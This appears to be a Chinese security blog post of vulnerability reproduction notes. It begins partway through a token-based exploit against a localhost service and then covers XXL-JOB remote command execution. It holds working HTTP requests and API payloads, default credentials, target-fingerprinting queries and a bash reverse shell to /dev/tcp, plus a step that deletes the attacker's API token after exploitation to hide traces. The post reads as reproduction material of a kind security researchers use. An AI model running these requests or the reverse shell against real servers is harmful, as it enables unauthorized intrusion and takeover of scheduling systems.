Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 0
Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.UTlaUm5sYzQtRUZ0YTNhT1llU2xpTU43TjNF.MWY2NjI4MmQtYzFlMi00YTEwLTk1ZTEtMDFiZmZiOGY2NGY0

利用结束后,我们最好能够删除名为RPC2的API Token,避免对业务造成问题:

DELETE /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
Host: localhost:8111
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

xxl-job

XXL-JOB 任务调度中心 后台任意命令执行漏洞

漏洞描述

XXL-JOB 任务调度中心攻击者可以在后台可以通过写入shell命令任务调度获取服务器权限

漏洞影响

XXL-JOB

网络测绘

app=”XXL-JOB” || title=”任务调度中心”

漏洞复现

登录后台增加一个任务

默认口令 admin/123456

img

注意运行模式需要为 GLUE(shell)

img

点击 GLUE IDE编辑脚本

img

img

执行探测出网,和任务调用是否可执行反弹一个shell

#!/bin/bash
bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/9999 <&1'

image-20240811204057668

unacc

XXL-JOB executor 未授权访问漏洞

XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令。

参考链接:

环境搭建

执行如下命令启动2.2.0版本的XXL-JOB:

docker compose up -d

环境启动后,访问http://your-ip:8080即可查看到管理端(admin),访问http://your-ip:9999可以查看到客户端(executor)。

漏洞复现

向客户端(executor)发送如下数据包,即可执行命令:

POST /run HTTP/1.1
Host: your-ip:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 365

{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_SHELL",
  "glueSource": "touch /tmp/success",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

touch /tmp/success已成功执行:

另外,低于2.2.0版本的XXL-JOB没有RESTful API,我们可以通过Hessian反序列化来执行命令。


文章作者: 吗喽の小屋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 吗喽の小屋 !
  目录